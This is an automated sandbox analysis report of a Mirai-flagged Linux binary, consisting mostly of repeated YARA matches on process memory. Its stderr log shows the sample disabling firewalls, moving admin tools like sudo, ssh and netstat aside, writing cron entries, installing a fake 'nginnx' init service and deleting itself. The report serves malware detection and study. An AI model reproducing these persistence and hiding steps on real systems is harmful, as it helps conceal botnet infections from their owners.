Process Memory Space: oc_x86_64.elf PID: 6355	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6355	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6428	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6428	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6501	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6501	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6575	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6647	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6647	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6719	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6793	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6793	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6865	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6865	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6925	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6925	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7000	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7072	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7072	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7144	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7218	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7218	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7290	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7290	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7362	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7422	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7496	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7496	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7568	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7568	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7623	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7623	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7701	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7701	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7775	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7775	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7884	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7918	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7918	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7919	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7919	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7920	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7920	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7921	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7921	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7922	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7923	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7925	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7925	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7926	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7927	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7928	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7928	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7929	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7929	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7930	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 7934	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8006	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8006	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8078	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8078	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8152	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8224	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8224	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8298	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8358	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8358	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8430	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8504	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8504	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8564	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8627	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8627	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8688	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8688	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8748	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8748	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8810	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8810	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8882	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 8882	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 378 entries

Stderr: Failed to stop iptables.service: Unit iptables.service not loaded.Failed to stop firewall.service: Unit firewall.service not loaded.sh: 1: history: not foundsh: 1: history: not foundmv: cannot stat '/usr/bin/sudo': No such file or directorymv: cannot stat '/usr/bin/top': No such file or directorymv: cannot stat '/usr/bin/find': No such file or directorymv: cannot stat '/usr/bin/ssh': No such file or directorymv: cannot stat '/usr/bin/wget': No such file or directorymv: cannot stat '/usr/bin/head': No such file or directorymv: cannot stat '/usr/bin/tail': No such file or directorymv: cannot stat '/usr/bin/man': No such file or directorymv: cannot stat '/usr/bin/lsof': No such file or directorymv: cannot stat '/usr/bin/awk': No such file or directorymv: cannot stat '/usr/bin/ps': No such file or directorymv: cannot stat '/usr/bin/wc': No such file or directorymv: cannot stat '/usr/bin/netstat': No such file or directorysh: 1: Syntax error: "(" unexpectedmv: sh: 1: cannot stat '/usr/bin/du'Syntax error: "(" unexpected: No such file or directorysh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedmv: cannot stat '/usr/bin/ss'sh: 1: Syntax error: "(" unexpected: No such file or directorysh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedmv: cannot stat '/usr/bin/ps': No such file or directorysh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedmv: cannot stat '/usr/bin/netstat'sh: 1: Syntax error: "(" unexpected: No such file or directorysh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpected/var/spool/cron: No such file or directory/var/spool/cron: mkdir: No such file or directorysh: 1: echo: sh: 1: echo: I/O errorSyntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpectedsh: 1: Syntax error: "(" unexpected/var/spool/cron: No such file or directory/var/spool/cron: mkdir: No such file or directorySynchronizing state of nginnx.service with SysV service script with /lib/systemd/systemd-sysv-install.Executing: /lib/systemd/systemd-sysv-install enable nginnxsh: 1: echo: echo: I/O errorSynchronizing state of nginnx.service with SysV service script with /lib/systemd/systemd-sysv-install.Executing: /lib/systemd/systemd-sysv-install enable nginnxupdate-rc.d: error: nginnx Default-Start contains no runlevels, aborting.Job for nginnx.service failed because the control process exited with error code.See "systemctl status nginnx.service" and "journalctl -xe" for details.update-rc.d: error: nginnx Default-Start contains no runlevels, aborting.Synchronizing state of nginnx.service with SysV service script with /lib/systemd/systemd-sysv-install.Executing: /lib/systemd/systemd-sysv-install enable nginnxJob for nginnx.service failed because the control process exited with error code.See "systemctl status nginnx.service" and "journalctl -xe" for details.update-rc.d: error: nginnx Default-Start contains no runlevels, aborting.sh: 1: /dev/ocmount: Permission deniedSynchronizing state of nginnx.service with SysV service script with /lib/systemd/systemd-sysv-install.Executing: /lib/systemd/systemd-sysv-install enable nginnxupdate-rc.d: error: nginnx Default-Start contains no runlevels, aborting.sh: 1: /dev/ocmount: Permission denied: exit code = 0

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/oc_x86_64.elf (PID: 5490)	File: /etc/init.d/nginnx
Source: /tmp/oc_x86_64.elf (PID: 5550)	File: /etc/init.d/nginnx			Jump to dropped file

Sample deletes itself

Source: /usr/bin/rm (PID: 5492)

File: /tmp/oc_x86_64.elf

Jump to behavior

Source: /usr/bin/pkill (PID: 5506)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5513)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: oc_x86_64.elf, type: SAMPLE
Source: Yara match	File source: 5880.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9968.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5490.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8006.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8564.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7928.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9017.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8224.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7775.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6647.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7918.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7919.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5778.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9826.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5810.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9892.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8358.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6501.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5782.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 10329.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7923.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 10415.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6293.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8078.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8688.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5811.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8748.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7921.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7701.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7362.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8810.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9746.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7218.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6102.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6865.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 10123.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6793.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9310.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7568.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5781.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8945.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7144.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8504.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7920.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6028.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9164.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7934.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8152.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7623.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7927.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7926.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7925.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7290.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5780.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9528.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7496.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5956.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7422.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9454.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7884.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5820.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7072.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 10269.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9236.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6355.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8882.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8627.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6160.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6575.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7930.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 10486.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6428.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7929.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 10189.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6925.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6719.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5752.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7000.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5812.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 10039.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7922.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8430.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9382.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8298.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5779.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5783.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9683.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9600.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6220.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9090.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5490, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5778, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5779, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5780, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5781, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5782, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5783, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5810, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5811, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5812, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5820, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 5956, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6028, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6102, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6160, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6293, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6355, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6501, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6575, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6647, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6719, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6793, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6865, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 6925, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7218, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7290, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7362, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7422, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7623, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7701, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7775, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7918, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7919, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7920, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7921, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7922, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7923, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7925, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7926, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7927, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7929, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7930, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 7934, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8006, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8078, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8298, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8358, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8430, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8564, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8627, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8748, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8810, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oc_x86_64.elf PID: 8882, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: oc_x86_64.elf, type: SAMPLE
Source: Yara match	File source: 5880.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9968.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5490.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8006.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8564.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7928.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 9017.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 8224.1.00007f1165143000.00007f1165167000.r-x.sdmp, type: MEMORY
